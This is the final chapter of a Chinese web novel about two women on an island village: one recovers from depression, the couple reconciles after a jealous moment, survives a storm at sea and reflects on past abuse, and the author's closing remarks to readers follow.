白蕊已经习惯了楚心柔的沉默,在旁边捣鼓自己的小饰品,也没有觉得别扭。 今天本该负责教学的游泳教练临时告假,换了个陌生面孔来代课。烈日下的海面泛着碎银般的光斑,乔潇潇像尾灵巧的海豚,在粼粼波光中穿梭。她学得极快,几个基础动作看一遍就能模仿得八九不离十,不过半日光景,已经能在浅水区自如地狗刨了。 白蕊抬头看了一眼,忍不住夸奖:“潇潇姐姐是我见过的学的最快的人。” 楚心柔并没有放在欣赏,她坐在遮阳伞下,目光散漫地追随着远处一艘模糊的渔船,意识随着起伏的浪花飘远,既不觉得悲伤,也感受不到愉悦,就像被潮水冲刷得褪色的贝壳,空荡荡地搁浅在现实的边缘。 她现在经常会这样,不难过,不痛苦,却没办法注意力集中,就像是魂魄缺失了一样。 可白蕊的一句话,立马像是神婆一样,让楚心柔还魂于人世间。 “楚姐姐,你看阿发哥看着潇潇姐姐,笑的多开心。” 楚心柔望了过去,远处海面上,乔潇潇正被新教练扶着腰练习漂浮,阳光把两人交叠的身影镀得那么的刺眼,而他们笑得又那么灿烂。 【作者有话说】 楚心柔:突然感觉有点活过来了。 她看向潇潇:你死了。 潇潇:…… 第110章【正文完】 第110章 正文完 ◎我们回家吧。◎ “阿发哥……” 楚心柔重复地问着,本来这个时候还能止损的,可白蕊一个孩子懂什么,看姐姐居然搭自己的话了,热情地介绍:“就是你说的那个发糕哥,我们小岛第一帅。” 白蕊说完,就紧张地吞咽了一下口水,感觉自己好像说错了什么,脑海里复现的是上次楚姐姐对她说的话。 ——她是我的。 ——你去告诉发糕哥,她是我的爱人。 白蕊惊恐地捂住了嘴,海风拂过,楚心柔的长发随风轻扬,她静静地注视着白蕊,眼神深不见底。 良久,她轻声问:“我让你带的话,你带到了吗?” 白蕊: 乔潇潇沉浸在自己学游泳的兴奋中,她进步飞快,再过不久,说不定就能跟着姐姐在海里自由自在地畅游了。她全然不知另一边发生了什么,更不会知道白蕊此刻正承受着怎样的压力。 阿发看着她灵巧的动作,忍不住赞叹:“你运动细胞真好,学得真快。” 谁不喜欢被夸奖呢? 乔潇潇抹了抹脸上的水珠,笑容灿烂:“我以前是练田径的!” 阿发了然地点头:“怪不得动作这么协调。明天我可以——” 话音未落,一阵凉意忽然逼近。 有人无声无息地站在了他们面前。 乔潇潇抬头,眼睛一亮:“姐姐!你看我学得怎么样?” 楚心柔没有回答她。 她的目光像一把锋利的钩子,一寸寸刮过阿发的脸,最后冷冷地开口:“你看他好看吗?” 乔潇潇:??? 阿发:…… 任何事物都有两面性。 自从楚心柔“病”了之后,她的心思反而变得纯粹了。再也不用像从前那样,把得体的微笑当作面具示人。现在的她,已经没有多余的精力伪装,心里想什么,嘴上就说什么。 乔潇潇被她拽着手腕,一路跌跌撞撞地往小木屋走去。她开心得嘴角都要咧到耳根了,心里美滋滋地想着:姐姐刚才……是在吃醋吗? 那么帅气地,直接拉着她就走。 此刻的乔潇潇完全沉浸在喜悦中,姐姐终于有了情绪波动,病情似乎好转了些。这个认知让她欣喜若狂,以至于完全忽略了即将到来的“危险”。 这确实是楚心柔这么久以来,第一次如此强烈地感受到情绪的涌动。嫉妒、不满、酸涩……各种复杂的情绪如潮水般袭来,几乎要将她淹没。 “砰”的一声,木门被用力关上。楚心柔一把将潇潇甩在床上,居高临下地瞪着她,声音里带着明显的怒意:“你觉得他好看吗?” 乔潇潇一瞬不瞬地凝视着楚心柔,连眼睛都舍不得眨一下。多久了她有多久没见过这样鲜活的姐姐了?这该不会是在做梦吧? 楚心柔被她直白的目光看得心头火起,倾身向前,双手撑在乔潇潇身侧,将她牢牢禁锢在自己怀里,“是不是跟同龄人很有话题可以聊?” 所以……是嫌她老了么?她没有那样健康结实的身体,也没有那么灿烂爽朗的笑容。 看着这样生动的姐姐。 乔潇潇的眼睛渐渐湿润,完全跟楚心柔不在一个频道,她突然伸出双臂,紧紧环抱住姐姐的腰身,将脸埋在她的颈窝,声音哽咽:“姐姐,我爱你。” 曾经,最羞于表达内心的人,每天都在重复着“我爱你”三个字。 感觉到滚烫的泪顺着脖颈滑落,楚心柔身子微微地僵住了,乔潇潇抱紧她,连日来的疲惫、痛苦、委屈、惶恐全都一起爆发:“姐姐……姐姐……我爱你。” 她的姐姐终于回来了。 别说是生她的气了,就是撕碎她,她也心甘情愿。 那眼泪一滴滴烫疼了楚心柔的心,她卸了身上的力量,伸出手臂抱住了潇潇:“对不起……” 是她不好。 让潇潇难过伤心害怕了。 乔潇潇用力摇头,泪水模糊了视线。她急切地仰起脸,颤抖的唇瓣追寻着姐姐的温度。这一次,楚心柔没有躲避,没有丝毫犹豫地迎了上去。 双唇相触的瞬间,这些日子积攒的所有心酸与不安都在这个吻中融化。 乔潇潇的眼泪顺着脸颊滑落,咸涩的滋味在唇齿间蔓延。 多少个日夜,乔潇潇从未想过放弃,可恐惧与忧虑却如影随形。每当看到姐姐伤害自己,那种深入骨髓的恐惧几乎要将她吞噬,她害怕失去,害怕再也见不到这样鲜活的姐姐。 而楚心柔呢?她的煎熬又怎么会少? 她确实想过放弃。凤依已经长大成人,坐稳了总裁的位置,一切都在正轨上运转。按理说,她已没什么可牵挂的了。 可潇潇……早已深深扎根在她的心尖上,与她的血肉相连。要割舍谈何容易,每一次楚心柔只要是想一想没有了自己,孤单一人的潇潇,就像是在生生撕裂自己的心脏。 只要是姐姐想要的,乔潇潇都会给。 ——毫无保留,心甘情愿。 她在楚心柔怀里轻轻颤抖,呼吸灼热,唇瓣贴近耳畔,低低呢喃着只有彼此能听见的私语。 因为紧张,她的指尖攥紧姐姐的衣角,不受控制的轻颤。 楚心柔的温柔依在,指节缠绕着她的发丝,缓缓下移,指尖如羽毛般掠过她的后颈、脊背,最终没入更深的领地。 乔潇潇绷紧了身体,却又乖顺得像只被驯服的猫,将全部都给姐姐。 当潇潇那双湿漉漉的眼睛抬起来,盛满依赖与渴望时,楚心柔的心脏猛地收紧,这是一种近乎掠夺的快感,比占有更炽烈,比征服更餍足。 无需言语,乔潇潇早已是她的。 从发梢到指尖,从呼吸到心跳,每一寸都是。 …… 第二天清晨,乔潇潇从睡梦中醒来时,发现楚心柔正凝视着自己。那双眼睛里盛满的柔情让她心头一颤。 被单下的肌肤还残留着昨夜缠绵的温度,乔潇潇羞赧地将脸埋进姐姐的颈窝。楚心柔唇角扬起一抹浅笑,海风穿过纱帘,将她的话语吹散成温柔的絮语:“潇潇,我很幸福。” 是幸福吧。 这就是幸福。 是任何物质都无法置换的珍宝,是能够填满心底所有裂隙的光。 从那天起,楚心柔像是卸下了沉重的枷锁。她开始坦率地表达每一分情绪,明媚的笑意不再掩饰,偶尔的忧伤也不再隐藏。甚至在一个星期后,海风轻拂的傍晚,她主动握住乔潇潇的手,轻轻按在自己腿部的疤痕上。 楚心柔的眸光微微颤动,像阳光下粼粼的海面:“潇潇,其实……你早就知道了,对吗?” 乔潇潇没有回答,只是俯身用温软的唇轻触那些伤痕。 她当然知道。如果可以,她恨不得将这些伤痕都转移到自己身上。 小渔村的时光像被拉长的蜜糖,缓慢流淌却甜入心扉。 乔潇潇不再是形单影只,每个清晨都能与楚心柔并肩出现在出海的渔船上。她喜欢从背后环住姐姐的腰肢,将下巴搁在她肩头,看朝阳将海面染成金红色。晨光为楚心柔的侧脸镀上柔和的轮廓,那抹若有若无的笑意比朝霞更令人心动。 乔潇潇特意购置了一艘白色的小艇,常常载着楚心柔出海,有时白蕊和昭昭也会加入她们的海上野餐。 当渔网跃起银光闪闪的收获时,欢笑声能惊起海面的飞鸟。她们就在甲板上支起小炉,看着活蹦乱跳的鱼虾在奶白的浓汤里翻滚,鲜香随着海风飘散开来。 偶尔,阴云仍会笼罩楚心柔的心绪。她会自己缩在角落里,用双臂将自己环抱。但如今,她学会在躲藏前轻声对乔潇潇说:“让我自己待一会儿。” 乔潇潇不再像从前那样不由分说地将人搂进怀里。她会安静地点头,转身去整理渔网或是准备晚餐,只是余光总忍不住追随着姐姐。 她能看见楚心柔的指尖在膝头轻轻敲打,看见海风拂动她散落的发丝,看见她慢慢挺直的脊背,那是阴霾即将散去的征兆,潇潇会唇角微微上扬。 时光如潮汐般起落。 小岛上的生活,也不完全风平浪静。 那是个看似寻常的出海日。清晨的海面平静如镜,阳光碎金般洒在波浪上。 乔潇潇哼着小调调整帆索,楚心柔坐在船头,发丝被海风轻轻扬起,在阳光下泛着温柔的浅棕色光泽。 变故来得猝不及防。 远方的海平线突然爬上一线黑影,转瞬间就吞噬了整个天空。原本温柔的海浪突然暴怒起来,将她们的小船抛向高空又狠狠砸落。 乔潇潇随着船身的起落不断翻涌,她死死抓住船舷,指甲几乎要嵌入木板。 “姐姐!快穿上救生衣!”乔潇潇在呼啸的风声中嘶吼。一个巨浪打来,冰冷的海水灌入她的口鼻,咸涩得发苦。她看见楚心柔踉跄着扑向救生设备,却在船身倾斜时重重摔在甲板上。 “潇潇!”楚心柔的呼喊被狂风撕碎。又一道巨浪袭来,桅杆发出不堪重负的断裂声。乔潇潇拼命向姐姐爬去,海水不断拍打着她的脸,视线模糊成一片。 “拿着这个!”乔潇潇将救生圈塞进楚心柔怀里,“拿着,姐姐,我——”楚心柔的反应却出乎意料,不等她说完,她猛地抓住乔潇潇的手腕,力道大得几乎要捏碎骨头。 乔潇潇看着楚心柔眼里的决绝,突然就释然了,她伸手抓住了姐姐的手。 在摇晃的甲板上,她们的身体随着船身剧烈起伏。 楚心柔的心跳透过湿透的衣衫传来,急促而有力,与乔潇潇的心跳渐渐同步。 死亡的阴影仍在头顶盘旋,却在这一刻变得无比渺小。 乔潇潇将脸埋进楚心柔的颈窝,呼吸间全是海水的咸涩和姐姐身上熟悉的茉莉淡香。 楚心柔紧紧环抱着怀中颤抖的身躯,一个念头在惊涛骇浪中格外清晰地浮现。 ——明天和意外,永远不知道哪个会先来。 狂风撕扯着她们的耳膜,乔潇潇仍倔强地支起身子,在模糊的雨幕中搜寻着救援的踪迹。她们的发丝纠缠在一起,衣服被海水浸透,狼狈不堪地贴在身上。 可就在这生死攸关之际,楚心柔却感受到一种前所未有的安宁,那些纠缠着她的痛苦与阴郁的碎片,像是在这生死间,被大海一点点从她的心头剥离开了,寸寸碎掉,被踩在了脚下。 有些顿悟,往往就在一念之间。 当搜救船的探照灯穿透雨幕时,乔潇潇几乎要跪倒在甲板上。 她们上了船之后,潇潇颤抖着用干毛巾为楚心柔擦拭湿发,“没事了,姐姐。”她声音沙哑,指尖轻轻梳理着楚心柔凌乱的发丝,“我们得救了。” 楚心柔却只是怔怔地望着她,目光如同画笔般细细描摹着乔潇潇的轮廓。良久,她抬起仍在发抖的手,抚上潇潇的脸颊。 “潇潇。”她的声音轻得几乎被海浪声淹没,“你刚才怕了么?” 潇潇点了点头,又摇了摇头。 “想到死亡,怕了。” “可是有你在,我又不怕了。” 这是心底的话,只要有姐姐在身边,无论生死,都是天堂。 楚心柔看着她,轻轻地说:“我们还活着……” 那一刻,乔潇潇凝视着楚心柔的眼睛,仿佛要看进她的灵魂深处。良久,她的唇角缓缓扬起一个温柔的弧度,轻声应道:“是啊。” 是啊,她们都还活着。 呼啸的海风忽然变得遥远,刺骨的寒意也悄然褪去。 当四目相对的瞬间,几乎同时,她们伸出手臂,将对方紧紧拥入怀中。 海啸来得突然,退得也快。得益于沿海村庄完善的预警系统,损失被降到了最低。当看到两人平安归来的身影时,老村长几乎瘫软在地,天知道他这几个小时是怎么熬过来的,她们俩是村子的恩人,要是出了什么事儿,他没办法向大家交代。 这场突如其来的灾难,就像一场噩梦。 汹涌的海水在黎明时分裹挟着雷霆之势袭来,又在日落前如退潮的梦境般悄然消散。 短短数日之后,渔港重新响起悠长的汽笛声,集市上小贩的吆喝此起彼伏。表面看来,生活已然回归正轨。 这多像人生的起起落落,无论经历怎样的惊涛骇浪,翌日的朝阳总会如期而至,从不为谁的悲喜停留。 日子总要过下去啊。 夕阳将天边染成橘红色,晚霞如同打翻的调色盘在海面上流淌。 楚心柔倚在乔潇潇肩头,发丝间还萦绕着咸涩的海风。远处,归航的渔船划破粼粼波光,海鸥的剪影掠过绯红的云层。 “潇潇。”她轻唤着,眼眸里映着落日的余晖,“嗯?”乔潇潇侧首,感受着肩头传来的温度。 楚心柔的发梢扫过她的脖颈,带着阳光的暖意和海风的清凉。 “你小时候那么痛苦,想过放弃么?”楚心柔的声音很轻,几乎要融进海浪的细语中,这样的话,以前,一直是她小心翼翼守护的,不敢去触碰的。 “岂止是想过啊。”乔潇潇望着海面上跳动的磷光,嘴角是释然的笑,“我记得我爸有一次喝醉了,把我按在水池里打。快要窒息的时候,我真的想……就这样放弃挣扎算了,也许这就是我的命。” 远处,一只海鸥掠过水面,发出孤独的鸣叫。潮水轻轻拍打着岸边的礁石,周而复始。 “后来伯母对我动辄打骂,不把我当人看的时候……”乔潇潇的声音很平静,“我也觉得活着……真没意思。” 她现在说的云淡风轻,可当时的痛苦叠加成山,压得她喘不过气。她曾怨天尤人,觉得命运何其不公,人生毫无意义。那种绝望,几乎要将她淹没。 “后来呢?”楚心柔轻声问,手指悄悄握紧了她的。 “慢慢的就都过去了。” 楚心柔将她的手握得更紧了些,“是啊,都过去了。” 最后一缕夕阳沉入海平面,远处的灯塔亮起温暖的光。海风拂过,带着咸湿的气息,却莫名让人心安。 “向前看吧。”乔潇潇望着远处起伏的海浪,声音轻却坚定:“人生没什么大不了的。” 夜风拂过她的发梢,带着海的气息。她微微仰起脸,像是要把过往的阴霾都抛进风里。 “就这么一辈子——”她顿了顿,转头看向楚心柔,眼底映着月光,“有好多觉得过不去的坎儿,慢慢的也就过去了,不是吗?” 楚心柔凝视着她,从那双眼睛里看到了曾经的伤痕,也看到了如今的坚韧。 她忽然笑了,指尖轻轻拂过乔潇潇的掌心,“我想家了,我们回家吧。” 潇潇握紧她的手,十指相扣:“好。” ——正文完。 2025年8月6日叶涩著 【作者有话说】 写到正文的最后一章,不知道还有多少人陪着叶子。 333,感谢你们,用力的鞠躬。 这篇文,我自己很喜欢,不仅仅是潇潇和姐姐,还有里面各种配角。 番外,还会更好多,你们想看什么,在下面说,叶子会慢慢写。 下一本,或许会开杨姐姐的《爱情不是你想跑想跑就能跑》,也可能开一个单元小故事文(还在构思)。 谢谢大家的一路陪伴,谢谢!